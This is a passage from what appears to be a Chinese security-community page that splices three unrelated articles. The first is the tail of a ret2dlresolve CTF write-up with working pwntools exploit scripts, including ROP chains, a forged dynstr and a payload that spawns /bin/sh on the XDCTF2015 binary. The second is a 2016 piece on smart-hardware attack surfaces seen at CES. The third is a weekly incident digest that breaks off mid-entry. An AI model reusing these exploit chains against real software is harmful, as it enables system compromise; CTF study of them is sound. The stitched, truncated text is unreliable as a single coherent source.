payload = payload.ljust(0x30,b'\x00') + p32(write_got) + p32(write_rinfo)
#payload+= p32(write) + p32(0) + p32(1) + p32(bss+0x50) + p32(0x8)
payload = payload.ljust(0x50,b'\x00') + b'/bin/sh\x00' + b'system\x00'
payload = payload.ljust(0x60,b'\x00') + b'B' * align + p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = payload.ljust(0x80,b'\x00')
sd(payload)
if __name__ == "__main__":
pwn()
ia()
# x64-利用-1
x64的利用更加简单，因为是寄存器传参，不存在栈迁移的问题，同样还是用bof的代码。
root@16-223:/pwn/ret2dlresolve# ROPgadget --binary bof_x64_no --only 'pop|ret'
Gadgets information
============================================================
0x000000000040076c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040076e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400770 : pop r14 ; pop r15 ; ret
0x0000000000400772 : pop r15 ; ret
0x000000000040076b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040076f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400773 : pop rdi ; ret
0x0000000000400771 : pop rsi ; pop r15 ; ret
0x000000000040076d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
0x00000000004006ba : ret 0x4804
0x00000000004006e0 : ret 0x8d48
Unique gadgets found: 13
一样的思路，rop构造第一此read将sh字符串以及fake_dynstr写到bss上，第二次read将fake_dynstr的地址写进.dynamic中存档dynstr地址的地方，第三次调用plt_0(即dl_fixup)。
说明一下为什么调用dl_fixup，因为所有函数都已调用过，只能重新调用dl_fixup来触发。
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
context(arch='amd64',os='linux',log_level='debug')
if(len(sys.argv) < 2):
print("Usage:")
print("\tpython3 exploit [elf] [l r]")
exit(0)
if(sys.argv[2]=='l'):
p = process('./'+sys.argv[1])
elf = ELF('./'+sys.argv[1])
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node4.buuoj.cn','25733')
elf = ELF('./'+sys.argv[1])
#libc = ELF('./')
sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
debug = lambda x:print("[+] "+str(x))
ru7f = lambda : u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
ruf7 = lambda : u64(ru(b'\xf7')[-3:].ljust(4,b'\x00'))
def pwn():
read = elf.plt['read']
strlen = elf.plt['strlen']
pop_rdi_ret = 0x0000000000400773
pop_rsi_r15_ret = 0x0000000000400771
plt_0 = 0x00000000004004d0
bss = elf.bss() + 0x200
dynstr_address = 0x600980 + 0x8
fake_dynstr = b"\x00libc.so.6\x00stdin\x00system\x00"
fake_dynstr_address = bss + 0x10
payload = b'A' * 120
payload+= p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss) + p64(0) + p64(read)
payload+= p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(dynstr_address) + p64(0) + p64(read)
payload+= p64(pop_rdi_ret) + p64(bss) + p64(plt_0) + p64(1)
sla("Welcome to XDCTF2015~!\n",payload)
sleep(1)
payload = b'/bin/sh\x00'.ljust(0x10,b'\x00') + fake_dynstr
sl(payload)
#gdb.attach(p)
sleep(1)
payload = p64(fake_dynstr_address)
sl(payload)
#gdb.attach(p)
if __name__ == "__main__":
pwn()
ia()
这里有必要说明一下为什么plt_0后面跟了个1，实际调试下来发现是作为_dl_fixup()的第二个参数:
最终刚好就是system字符串:
与我们伪造的dynstr有关。
这里有两个疑问:
1. 为什么不通过寄存器直接传参(大概率是因为在调用dl_fixup前还有很多操作)。
2. 为什么是1？
以上两个问题经过调试都没有找到答案。
经过思考，既然作为dl_fixup的第二个参数，那么这个应该是reloc_arg:
可以看到strlen确实为1。
只能根据上面这个图，看到调用dl_fixup前，把rbx+0x10位置的值给了rsi，作为reloc_arg，所以只能调试来看可控的话就在rbx+0x10的位置放上1。 | 社区文章 |
# 从CES2016看智能硬件安全新方向、新思路
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
全球最大规模的消费电子展(CES2016)在美国拉斯维加斯正式拉开序幕,作为全世界最受瞩目的科技盛会,CES2016其实不仅仅是消费电子产业的风向标,同时也是广大硬件黑客涉猎的新目标的靶场。毫不夸张地说,CES汇集了世界上当前最优秀的传统消费类电子IT核心企业,它们在这里都竭尽所能秀出自己的绝活。虽然很多产品在CES中只是昙花一现,但有些却极有可能成为硬件黑客研究新方向和一些有意思的利用方法。
360攻防实验室的小伙伴,带着大家看看未来在2016年有哪些电子消费品可能会被成为智能硬件黑客炫技的对象。
**无人驾驶技术成为智能汽车攻击的对象**
从本届CES汽车产品展示来看,电动汽车与无人驾驶无疑代表了未来。另外法拉第FFZERO1概念车也让我们眼前一亮,把汽车造成这样你咋不上天呢。那么在可预见的未来几年,对于无人驾驶汽车的攻击,是倍受黑客青睐的。目前大多数的无人驾驶汽车都依赖传感器采集数据,通过毫米波雷达、或者激光雷达监控远距离的障碍物,测绘与前车的距离,周边的环境。通过前置高清摄像头可以实现环境的感知,识别车道,道路标识,匹配前端车速,构建驾驶环境。结合车身的一些传感器对车周围的障碍物进行告警,躲避。通过把传感器数据集中的进行处理,运算,再反馈给车控系统,做出响应。
由于毫米波雷达,激光雷达,超声波传感器这样的传感设备,在传输过程中是没有办法进行加密的,只是会有不同的发射周期,不同的发送波形,做一些弹性的区分。可以听通过干扰传感器设备,干扰控制无人驾驶汽车,逼停一辆汽车,甚至是上周边的障碍物隐身,造成交通隐患。
**智能家电可能会成为新型肉鸡**
家电智能化和人性化一直是家电行业的发展方向,在本届CES上展出的三星、LG新款智能家电解决方案是这一理念的集中体现。在智能化应用上智能家电都搭载了全高清液晶显示屏,消费者可以通过这块屏幕发布消息,上传图片,更新日历,同时所有动作均能便捷地与智能手机互联。如三星、LG和索尼等,已经建立了与智能电视相对应的合法的应用商店,但是用户仍然可以从第三方下载恶意软件,此前已经有很多攻击者都使用这种方法对智能手机实施攻击。智能电视中也存在很多明显的漏洞。比如有些智能电视在下载更新时,没有使用SSL或TLS加密算法,这可能导致智能电视下载恶意的固件,导致操作系统被修改。有些甚至不会检查已下载固件的完整性。这些漏洞都很轻易的会让智能家电设备沦为肉鸡。
**照相机可以成为网络攻击的完美跳板**
今年CES上SNOY、佳能、NIKON等大牌场家都纷纷发布了各家大牌高端的单反相机,但目前照相机上都会装有wifi模块或者NFC,支持网络连接功能的相机有可能会被利用为监视器。程序有漏洞的数码相机会很容易被侵入,他人可通过[浏览器](http://www.saayaa.com/)对其进行操控并进行监视活动。同时通过对相机的破解,可以给一台相机上LINUX系统,在连接企业的WIFI,这将形成一个完美的跳板。谁也想不到一台相机可以作为入侵内网的完美跳板。
**智能机器人可以成为帮凶**
今年的CES2016上发布了多款智能机器人,从工业设计到智能化程度都要比往届多很多看点,目前共用户使用的机器人用处有几个,可以实时监测家里的温度、湿度等,根据主人的吩咐操控家居设备;如果家里发生漏水漏电火灾情况,它会立即发出警报信息;它还能给小朋友讲故事、唱儿歌,提醒老人吃药、活动等等。机器人的主要功能是语义识别,人工智能,深度学习,环境感知等一些模块,有些机器人是通过感知现场环境,回传给云端,再由云端告诉机器人所要执行的动作,在整个过程中。如果黑客可以通过控制劫持,信息篡改hacking了云端,就可以控制这个机器人的行为,说不定也会为小偷开门呢。在环境感知方面,通过对机器人的环境感知传感器的攻击可以干扰机器人的行为造成失控。 | 社区文章 |
# 安全事件周报（10.26-11.01）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 事件导览
本周收录安全事件 `32` 项，话题集中在 `数据泄露` 、 `勒索软件` 方面，涉及的组织有： `Amazon` 、 `NVIDIA` 、
`Fragomen` 、 `QNAP` 等。外网未加密数据库屡禁不止，各种漏洞扫描器肆虐互联网。对此，360CERT建议使用 `360安全卫士`
进行病毒检测、使用 `360安全分析响应平台` 进行威胁流量检测，使用 `360城市级网络安全监测服务QUAKE`
进行资产测绘，做好资产自查以及预防工作，以免遭受黑客攻击。
**恶意程序** | 等级
---|---
Enel集团今年遭受了第二次勒索软件攻击 | ★★★★★
KashmirBlack僵尸网络攻击了WordPress等CMS | ★★★★
Sopra Steria证实被Ryuk勒索软件攻击 | ★★★★
台湾政府遭到Owlproxy恶意软件攻击 | ★★★★
FBI,DHS,HHS警告:医疗系统可能会发生重大的勒索软件攻击 | ★★★★
Earth Kitsune行动：新增两个后门 | ★★★★
REvil勒索软件团伙声称一年内利润超过1亿美元 | ★★★★
佛蒙特州医院最近遭遇勒索软件攻击 | ★★★★
Steelcase家具巨头遭Ryuk勒索软件攻击 | ★★★
TrickBot Linux变种在野活跃，尽管最近被攻陷 | ★★★
美国网络司令部曝光俄罗斯新恶意软件 | ★★★
**数据安全** |
芬兰心理治疗中心Vastaamo遭遇了严重的安全漏洞 | ★★★★
FBI：黑客通过SonarQube平台窃取政府源代码 | ★★★★
Lazada证实了110万个账户在RedMart安全漏洞中受损 | ★★★★
数据泄露中间商正在出售17家公司的帐户数据库 | ★★★★
COVID-19疫苗制造商遭遇数据泄露 | ★★★
律师事务所的谷歌员工个人信息数据遭泄露曝光 | ★★★
桑坦德银行表示无需担心PagoFX的黑客攻击行为 | ★★★
亚马逊通知客户：由于数据泄露，解雇掉了内部人员 | ★★★
**网络攻击** |
黑客在窃取Harvest Finance2400万美元后被确认身份 | ★★★★★
严重的Oracle WebLogic漏洞被在野利用 | ★★★★★
与俄罗斯有关的图拉APT黑客攻击了欧洲政府组织 | ★★★★
大学电子邮件劫持攻击推送钓鱼邮件与恶意软件 | ★★★★
InnerSloth游戏玩家受到了严重的垃圾邮件攻击 | ★★★
Nando的黑客大肆利用客户账户 | ★★★
特朗普的官方竞选网站遭到黑客的破坏 | ★★★
Xfinity, McAfee品牌域名被攻击者滥用 | ★★★
**其它事件** |
100多个灌溉系统在没有保护的情况下暴露在网上 | ★★★★
超10万台计算机仍然易受SMBGhost攻击 | ★★★★
研究人员用密码MAGA2020登录特朗普的推特 | ★★★
QNAP警告可能会导致设备被接管的QTS漏洞 | ★★★
NVIDIA修补了高性能服务器中的高危漏洞 | ★★★
## 0x02 恶意程序
### Enel集团今年遭受了第二次勒索软件攻击
日期: 2020年10月27日
等级: 高
来源: SECURITYAFFAIRS
标签: Enel Group, Netwalker, Ransomware, Energy Company, Italian
跨国能源公司埃奈尔集团(EnelGroup)的系统被网络勒索软件感染，这是该集团在2020年遭受的第二次勒索软件攻击。网络勒索软件运营商要求支付1400万美元的赎金来换取解密密钥，黑客声称已经从该公司窃取了数TB的数据，并威胁说如果不支付赎金，就会泄露这些数据。
埃奈尔集团(EnelGroup)是意大利的一家跨国能源公司，活跃于发电、配电以及天然气分销领域。
该公司在40个国家拥有6100多万客户，在《财富》全球500强中排名第87位，2019年的收入为900亿美元。
**详情**
[Enel Group suffered the second ransomware attack this
year](https://securityaffairs.co/wordpress/110067/malware/enel-group-netwalker-ransomware.html)
### KashmirBlack僵尸网络攻击了WordPress等CMS
日期: 2020年10月26日
等级: 高
作者: Catalin Cimpanu
标签: CMS, KashmirBlack, Botnet, Attack, Cryptocurrency
一个高度复杂的僵尸网络通过攻击基础内容管理系统(CMS)平台，已经感染了数十万个网站。`Imperva`
的安全研究人员在2020年10月22日的一个两部分的系列文章中分析了僵尸网络，他们说僵尸网络的主要目的似乎是感染网站，然后使用他们的服务器进行加密货币挖掘，将一个网站的合法流量重定向到垃圾页面，并在较小的程度上显示网络损坏。
Imperva说，僵尸网络开始的时候很小，但是经过几个月的持续增长，它已经发展成为一个复杂的庞然大物，能够每天攻击成千上万的网站。
**详情**
[KashmirBlack botnet behind attacks on CMSs like WordPress, Joomla, Drupal,
others](https://www.zdnet.com/article/kashmirblack-botnet-behind-attacks-on-cmss-like-wordpress-joomla-drupal-others/)
### Sopra Steria证实被Ryuk勒索软件攻击
日期: 2020年10月26日
等级: 高
作者: Lawrence Abrams
标签: French, Sopra Steria, Ryuk, TrickBot, BazarLoader, Ransomware
法国企业IT服务公司SopraSteria2020年10月26日证实，他们遭到了一次Ryuk勒索软件攻击。SopraSteria是一家欧洲信息技术公司，在全球25个国家拥有46000名员工。该公司提供广泛的IT服务，包括咨询、系统集成和软件开发。10月21日，SopraSteria称他们受到网络攻击，但没有提供更多细节。该公司此前感染了
`TrickBot` 和 `BazarLoader` ，因此遭到了 `Ryuk` 勒索软件攻击。
这两种恶意软件感染都是由同一个黑客组织创建的，并提供远程访问 `Ryuk`
勒索软件背后的攻击者。这种访问允许攻击者进一步破坏网络，并最终在公司的设备中部署勒索软件。
**详情**
[Sopra Steria confirms being hit by Ryuk ransomware
attack](https://www.bleepingcomputer.com/news/security/sopra-steria-confirms-being-hit-by-ryuk-ransomware-attack/)
### 台湾政府遭到Owlproxy恶意软件攻击
日期: 2020年10月28日
等级: 高
来源: CYBERNEWS
标签: CyCraft, Taiwan Government, Owlproxy, Malware, Skeleton Keys
2020年4月，CyCraft在多个台湾政府机构观察到高度恶意的网络活动。由于相似的技术、战术和程序，其中一些攻击被归因于同一个攻击者，其中最重要的是利用数字万能钥匙和Owlproxy恶意软件。
使用这种方法，就像一个物理万能钥匙可以打开房子里的任何一扇门一样，数字万能钥匙使其用户可以不受限制地访问远程访问服务。 `Owlproxy`
是在2020年4月的几起事件中发现的主要恶意软件之一。为了在 `internet` 和 `intranet`
之间架起桥梁，攻击者使用这种带有后门功能的恶意软件来通过隧道进出网络。这个后门功能使攻击者可以启动任何命令直接进入目标系统。
**详情**
[Taiwan government hit by Owlproxy
Malware](https://cybernews.com/security/taiwan-government-targeted-by-multiple-cyberattacks-owlproxy-malware/)
### FBI,DHS,HHS警告:医疗系统可能会发生重大的勒索软件攻击
日期: 2020年10月28日
等级: 高
作者: The Hacker News
标签: FBI, TrickBot, Ransomware, Healthcare Systems, Data Theft
美国联邦调查局(FBI)、国土安全部和卫生与公众服务部(HHS)2020年10月28日发布联合警告，称针对医院和医疗服务提供商的勒索软件和其他网络攻击即将增加。
美国网络安全和基础设施安全局（NSA）在其咨询报告中表示:“恶意网络行为者正在使用 `TrickBot`
恶意软件攻击(医疗保健和公共卫生)领域，通常会导致数据盗窃以及医疗保健服务中断。”
臭名昭著的僵尸网络通常通过恶意垃圾邮件电子邮件传播给毫无戒心的收件人，并且可以窃取财务和个人数据并将其他软件（例如勒索软件）丢弃到受感染的系统上。
**详情**
[FBI, DHS Warn Of Possible Major Ransomware Attacks On Healthcare
Systems](https://thehackernews.com/2020/10/ransomware-attack-hospital.html)
### Earth Kitsune行动：新增两个后门
日期: 2020年10月28日
等级: 高
来源: TRENDMICRO
标签: SLUB, agfSpy, dneSpy, Malware, C&C
EarthKitsune行动是一项旨在通过损害网站来窃取信息的“水坑行动”。除了大量使用恶意软件外， `trendmicro`
团队还发现了两个新的间谍后门与这次行动有关: `agfSpy` 和 `dneSpy` ，这是根据攻击者的三字母命名方案命名的。 `trendmicro`
团队之前对操作的研究发现，虽然SLUB主要用于窃取数据，但agfSpy和dneSpy用于同样的目的，而且还用于获取受影响系统的控制。这篇文章提供了更多关于这些恶意软件类型的细节，包括它们和它们的命令和控制(C&C)服务器之间的关系。
**详情**
[Operation Earth Kitsune A Dance of Two New
Backdoors](https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html)
### REvil勒索软件团伙声称一年内利润超过1亿美元
日期: 2020年10月29日
等级: 高
作者: ,Ionut Ilascu
标签: REvil, Ransomware
REvil勒索软件开发商说，他们通过从世界各地的各行业勒索大型企业，在一年内赚了超过1亿美元。他们受利润驱动，希望从勒索软件服务中赚取20亿美元，在追求财富时采用最有利可图的趋势。
一位在网络犯罪论坛上使用化名“UNKN”和“Unknown”的REvil代表接受了科技博客RussianOSINT的采访，提供了该组织活动的一些细节，并暗示了他们未来的打算。
**详情**
[REvil ransomware gang claims over $100 million profit in a
year](https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/)
### 佛蒙特州医院最近遭遇勒索软件攻击
日期: 2020年10月30日
等级: 高
作者: PricillaWhite
标签: FBI, Ryuk, US, Attack, Vermont Hospitals, Ransomware
佛蒙特大学健康网络现在正持续不断地遭受网络攻击。这次网络攻击的目标是佛蒙特州和纽约州的六所医院，这两所医院的目标主要是造成计算机网络问题。医院提到他们的“MyChart”和其他预约都因此受到影响。
FBI拒绝评论这是否是勒索软件攻击。但是，独立安全专家怀疑这可能是Ryuk勒索软件的攻击结果，该勒索软件已经影响了至少五家美国医院，并可能进一步袭击数百家医院。
**详情**
[Vermont Hospitals Now Latest Victim of Ransomware
Attacks](https://gbhackers.com/vermont-health-network/)
### Steelcase家具巨头遭Ryuk勒索软件攻击
日期: 2020年10月27日
等级: 中
作者: Lawrence Abrams
标签: Steelcase, Ransomware, Ryuk, Cyberattack
办公家具巨头Steelcase遭遇勒索软件攻击，迫使他们关闭网络以遏制攻击的蔓延。Steelcase是全球最大的办公家具制造商，在2020年拥有13,000名员工和37亿美元的资产。
在提交给美国证券交易委员会(SEC)的一份8-K表格中，Steelcase公司透露，他们在2020年10月22日遭受了一次网络攻击。
目前，Steelcase公司尚不清楚此次攻击导致其系统的任何数据丢失或任何其他资产损失。
**详情**
[Steelcase furniture giant hit by Ryuk ransomware
attack](https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/)
### TrickBot Linux变种在野活跃，尽管最近被攻陷
日期: 2020年10月28日
等级: 中
作者: The Hacker News
标签: TrickBot, Netscout, Linux, Trojan, Ransomware
`TrickBot` 已经关闭了其大部分的主要基础设施，但 `TrickBot` 恶意软件背后的运营商并未处于闲置状态。 根据网络安全公司
`Netscout` 分享的新发现， `TrickBot` 的作者已将其部分代码移至 `Linux` ，以扩大可能成为目标的受害者的范围。
TrickBot是2016年首次检测到的金融木马，传统上是基于Windows的犯罪软件解决方案，它采用不同的模块在目标网络上执行各种恶意活动，包括凭证盗窃和永久勒索软件攻击。
但是在过去的几周里，由美国网络司令部和微软共同努力，已经消除了94％的 `TrickBot`
使用中的命令和控制（C2）服务器以及犯罪分子试图将TrickBot引入网络的新基础架构替换以前禁用的服务器。
**详情**
[TrickBot Linux Variants Active in the Wild Despite Recent
Takedown](https://thehackernews.com/2020/10/trickbot-linux-variants-active-in-wild.html)
### 美国网络司令部曝光俄罗斯新恶意软件
日期: 2020年11月01日
等级: 中
作者: Catalin Cimpanu
标签: US Cyber Command, Russian, ComRAT, Zebrocy, Turla
美国网络司令部曝光了俄罗斯黑客在最近的攻击中开发和部署的8个新的恶意软件样本。这8个样本中有6个是ComRAT恶意软件（Turlahackinggroup使用的），另外两个是Zebrocy恶意软件的样本（由APT28黑客组织使用）。
ComRAT和Zebrocy都是恶意软件家族，已经被俄罗斯黑客组织使用了多年，而ComRAT从旧的Agent.BTZ恶意软件演变而来，在攻击中已经部署了十多年。
Turla和APT28一直在更新这两种工具，以增加逃税技术，并保持他们的恶意软件不被发现。
**详情**
[US Cyber Command exposes new Russian
malware](https://www.zdnet.com/article/us-cyber-command-exposes-new-russian-malware/)
### **相关安全建议**
1. 及时对系统及各个服务组件进行版本升级和补丁更新
2. 各主机安装EDR产品，及时检测威胁
3. 网段之间进行隔离，避免造成大规模感染
4. 勒索中招后，应及时断网，并第一时间联系安全部门或公司进行应急处理
5. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
6. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
7. 及时对系统及各个服务组件进行版本升级和补丁更新
## 0x03 数据安全
### 芬兰心理治疗中心Vastaamo遭遇了严重的安全漏洞
日期: 2020年10月26日
等级: 高
来源: SECURITYAFFAIRS
标签: Finnish, Vastaamo, Psychotherapy, Ransom
芬兰内政部长2020年10月25日召开紧急会议，此前芬兰私人心理治疗中心 `Vastaamo`
遭遇安全漏洞，导致患者记录曝光。更糟糕的是，黑客现在要求赎金，威胁泄露被盗数据。`Vastaamo`
是芬兰公共卫生系统的一个分包商。黑客从近两年前开始的两次攻击中窃取了患者的敏感数据。目前尚不清楚被盗信息是否包括诊断、治疗记录或其他潜在的损害性信息。
国家调查局正在调查这起事件，并透露数据泄露可能影响了多达“数万”的Vastaamo客户。
**详情**
[Finnish psychotherapy center Vastaamo suffered a shocking security
breach](https://securityaffairs.co/wordpress/110002/cyber-crime/vastaamo-data-breach.html)
### FBI：黑客通过SonarQube平台窃取政府源代码
日期: 2020年10月27日
等级: 高
作者: Sergiu Gatlan
标签: FBI, SonarQube, U.S Government, Vulnerability
美国联邦调查局(FBI)发布了一个紧急警报，警告黑客通过网络暴露和不安全的 `SonarQube` 平台窃取美国政府机构和企业组织的数据。
SonarQube是一个开源平台，用于自动化代码质量审计和静态分析，用于发现使用27种编程语言的项目中的bug和安全漏洞。
自2020年4月以来，攻击者一直在利用有漏洞的 `SonarQube` 服务器来访问政府和公司实体拥有的数据源代码存储库，随后对其进行公开泄漏。
FBI表示，自攻击开始以来，他们已经发现了几起攻击者滥用 `SonarQube` 配置漏洞的事件。
**详情**
[FBI: Hackers stole government source code via SonarQube
instances](https://www.bleepingcomputer.com/news/security/fbi-hackers-stole-government-source-code-via-sonarqube-instances/)
### Lazada证实了110万个账户在RedMart安全漏洞中受损
日期: 2020年10月30日
等级: 高
作者: Eileen Yu
标签: RedMart, Data Breach, Singapore, Grocery Platform, Lazada
新加坡在线杂货平台RedMart遭遇数据泄露，110万个账户的个人数据受到破坏。个人信用卡中所包含的个人信用卡信息，包括个人信用卡和个人信用卡密码。
RedMart的母公司Lazada在给客户的说明中说，该漏洞导致托管在第三方服务提供商上的“RedMart专用数据库”可以被未经授权访问。Lazada强调，该漏洞只影响RedMart的账户，而没有影响Lazada客户的数据。
**详情**
[Lazada confirms 1.1M accounts compromised in RedMart security
breach](https://www.zdnet.com/article/lazada-confirms-1-1m-accounts-compromised-in-redmart-security-breach/)
### 数据泄露中间商正在出售17家公司的帐户数据库
日期: 2020年11月01日
等级: 高
作者: Pierluigi Paganini
标签: BleepingComputer, Selling Account, Data Breach, Hacker Forum, Data Broker
一名攻击者提供了一个出售账户的数据库，其中包含从17家公司窃取的总计3400万条用户记录。自10月28日以来，攻击者就在黑客论坛上发布被盗数据。
该攻击者表示，他只是一个中间商，并没有入侵这17家公司。
当时还不清楚攻击者是如何从据称被黑客攻击的公司收集这些记录的，很可能这些记录是在地下流传的，并被私下卖给了各种攻击者。
**详情**
[A data breach broker is selling account databases of 17
companies](https://securityaffairs.co/wordpress/110259/data-breach/account-databases-stolen-17-companies.html)
### COVID-19疫苗制造商遭遇数据泄露
日期: 2020年10月26日
等级: 中
来源: SECURITYAFFAIRS
标签: Indian, Russia, Sputinik V, COVID-19, Dr. Reddy’s Laboratories
印度COVID-19疫苗生产商Dr.ReddysLaboratories遭遇网络攻击，迫使其关闭了在巴西、印度、俄罗斯、英国和美国的工厂。
据《经济时报》报道，该公司遭受了数据泄露。为了应对安全漏洞，COVID-19疫苗制造商隔离了所有数据中心服务。
首席信息官穆克什·拉提在一份媒体声明中表示:在检测到网络攻击之后，他们已经隔离了所有的数据中心服务，以采取必要的预防措施。他们预计所有服务将在24小时内恢复，并且预计此次事件不会对运营造成重大影响。
**详情**
[COVID-19 vaccine manufacturer suffers a data
breach](https://securityaffairs.co/wordpress/109994/hacking/covid-19-vaccine-manufacturer-hacked.html)
### 律师事务所的谷歌员工个人信息数据遭泄露曝光
日期: 2020年10月26日
等级: 中
作者: Lawrence Abrams
标签: Fragomen, Google, Data Breach, Law Firm
移民律师事务所 `Fragomen` ， `DelRey` ， `Bernsen＆Loewy` ， `LLP` 披露了一项数据泄露事件，泄露了当前和以前
`Google` 员工的个人信息。 Fragomen是美国最大的涵盖移民法的律师事务所之一，在全球47个地区拥有582位律师。
该律师事务所最近得知他们的网络被入侵，黑客访问了一个包含谷歌个人信息的文件。该文件包含了一些零散的谷歌员工(和前谷歌员工)的个人信息。
**详情**
[Google employees personal info exposed in law firm data
breach](https://www.bleepingcomputer.com/news/security/google-employees-personal-info-exposed-in-law-firm-data-breach/)
### 桑坦德银行表示无需担心PagoFX的黑客攻击行为
日期: 2020年10月27日
等级: 中
作者: Iain Thomson
标签: Santander, PagoFX, Underground Hacking Forum, Data Leak, Salesforce
简言之，桑坦德银行（西班牙金融巨头）淡化了其国际转账初创公司PagoFX受到损害的说法。 2020年10月25日，一位匿名消息人士联系了
`TheRegister` 平台，该消息人士称属于 `PagoFX`
的“数据库架构，基础架构文档，数字风险评估，客户安全检查和Salesforce培训材料”已被盗并在地下黑客论坛销售。据称，这些文件（总共近2GB）是从
`PagoFX` 使用的第三方软件开发人员那里窃取的。桑坦德银行的一位发言人告诉 `TheRegister`
，8月份发现了一次泄露，不过他不愿透露任何细节，只是说其核心系统未受影响，“没有敏感的个人信息或支付数据”被窃取。从此次泄露的文件列表来看，大部分是示例源代码、用于内部程序和网络安全政策的Word文档等等。
**详情**
[Santander downplays ‘hack’ of PagoFX cash transfer biz, says nothing to worry
about](https://www.theregister.com/2020/10/27/in_brief_security/)
### 亚马逊通知客户：由于数据泄露，解雇掉了内部人员
日期: 2020年10月27日
等级: 中
作者: Ax Sharma
标签: Amazon, Data Leak, Twitter
亚马逊(Amazon)最近解雇了一些员工，因为他们违反公司政策，将客户数据(包括电子邮件地址)泄露给了一家非关联的第三方。
事件发生后，该公司向受影响的客户发送了一封电子邮件通知。尽管邮件通知将事件归咎于“亚马逊员工”，但一份公司声明暗示，可能有多名内部人士应对此负责。
**详情**
[Amazon sacks insiders over data leak, alerts
customers](https://www.bleepingcomputer.com/news/security/amazon-sacks-insiders-over-data-leak-alerts-customers/)
### **相关安全建议**
1. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
2. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
3. 严格控制数据访问权限
4. 管控内部员工数据使用规范，谨防数据泄露并及时做相关处理
5. 注重内部员工安全培训
6. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
7. 登陆入口增加验证码功能。
8. 发生数据泄漏事件后，及时进行密码更改等相关安全措施
## 0x04 网络攻击
### 黑客在窃取Harvest Finance2400万美元后被确认身份
日期: 2020年10月27日
等级: 高
来源: SECURITYAFFAIRS
标签: Harvest Finance, Cryptocurrency, Web Portal , Attack
黑客已经从分布式金融服务 `HarvestFinance`
窃取了价值约2400万美元的加密货币资产，该网站是一个门户网站，让用户发现农业机会，使他们的产量(APY)回报最大化。 攻击者最初在
`HarvestFinance` 公司的服务中投资了大量加密货币资产，然后利用加密技术窃取平台的资金，并将其转移到 `HarvestFinance`
公司控制的钱包中。 专家们注意到，攻击发生后不久，黑客返还了大约250万美元给 `HarvestFinance` ，但他们并没有说出原因。
**详情**
[Hacker was identified after the theft of $24 million from Harvest
Finance](https://securityaffairs.co/wordpress/110043/cyber-crime/harvest-finance-cyber-heist.html)
### 严重的Oracle WebLogic漏洞被在野利用
日期: 2020年10月29日
等级: 高
作者: Ionut Ilascu
标签: Oracle Weblogic, HTTP, Vulnerability, CVE-2020-14882, No Authentication
攻击者已经开始寻找运行 `OracleWebLogic` 实例的服务器，这些服务器容易受到一个严重漏洞的攻击，这个漏洞允许不需要认证就能控制系统。
攻击中利用的漏洞是CVE-2020-14882，其严重性评级为9.8(满分10分)，允许通过一个简单的HTTPGET请求危及系统。
Oracle在2020年10月发布的高危补丁更新(CPU)中修复了该漏洞，并将其归功于 `Chaitin` 安全研究实验室的安全研究员 `Voidfyoo`
的发现和报告。
目前 `Weblogic` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Critical Oracle WebLogic vulnerability exploited in the
wild](https://www.bleepingcomputer.com/news/security/critical-oracle-weblogic-vulnerability-exploited-in-the-wild/)
### 与俄罗斯有关的图拉APT黑客攻击了欧洲政府组织
日期: 2020年10月29日
等级: 高
作者: Pierluigi Paganini
标签: European, Accenture, APT Turla , Russia, Attack
埃森哲网络威胁情报公司(ACTI)发布的一份报告称，与俄罗斯有关的网络间谍组织图拉(Turla)侵入了一个秘密欧洲政府组织的系统。
TurlaAPT组织（又名Snake，Uroburos，Waterbug，VenomousBear和KRYPTON）自2007年以来一直活跃，其目标客户是中东，亚洲，欧洲，北美和南美以及前苏联集团的外交和政府组织以及私营企业。
**详情**
[Russia-linked Turla APT hacked European government
organization](https://securityaffairs.co/wordpress/110127/apt/turla-target-eu-gov-org.html)
### 大学电子邮件劫持攻击推送钓鱼邮件与恶意软件
日期: 2020年10月29日
等级: 高
来源: THREATPOST
标签: University, Email Hijacking, Phishing, Malware
网络犯罪分子劫持了包括普渡大学、英国牛津大学和斯坦福大学在内的十多所大学的合法电子邮件账户，并利用这些账户绕过检测，诱骗受害者交出他们的电子邮件证书或安装恶意软件。
INKY的首席执行官和联合创始人DaveBagget告诉网站Threatpost，目前还没有迹象表明这些账户是如何被入侵的，但他推测，受害者落入了一种获取证书的圈套。Bagget还说，这个月研究人员继续看到来自真实大学账户的钓鱼邮件，所以一些账户似乎仍然受到威胁。
**详情**
[University Email Hijacking Attacks Push Phishing,
Malware](https://threatpost.com/university-email-hijacking-phishing-malwarephishing-malware/160735/)
### InnerSloth游戏玩家受到了严重的垃圾邮件攻击
日期: 2020年10月26日
等级: 中
来源: WELIVESECURITY
标签: InnerSloth, Eris Loris, YouTube, Spam Attack
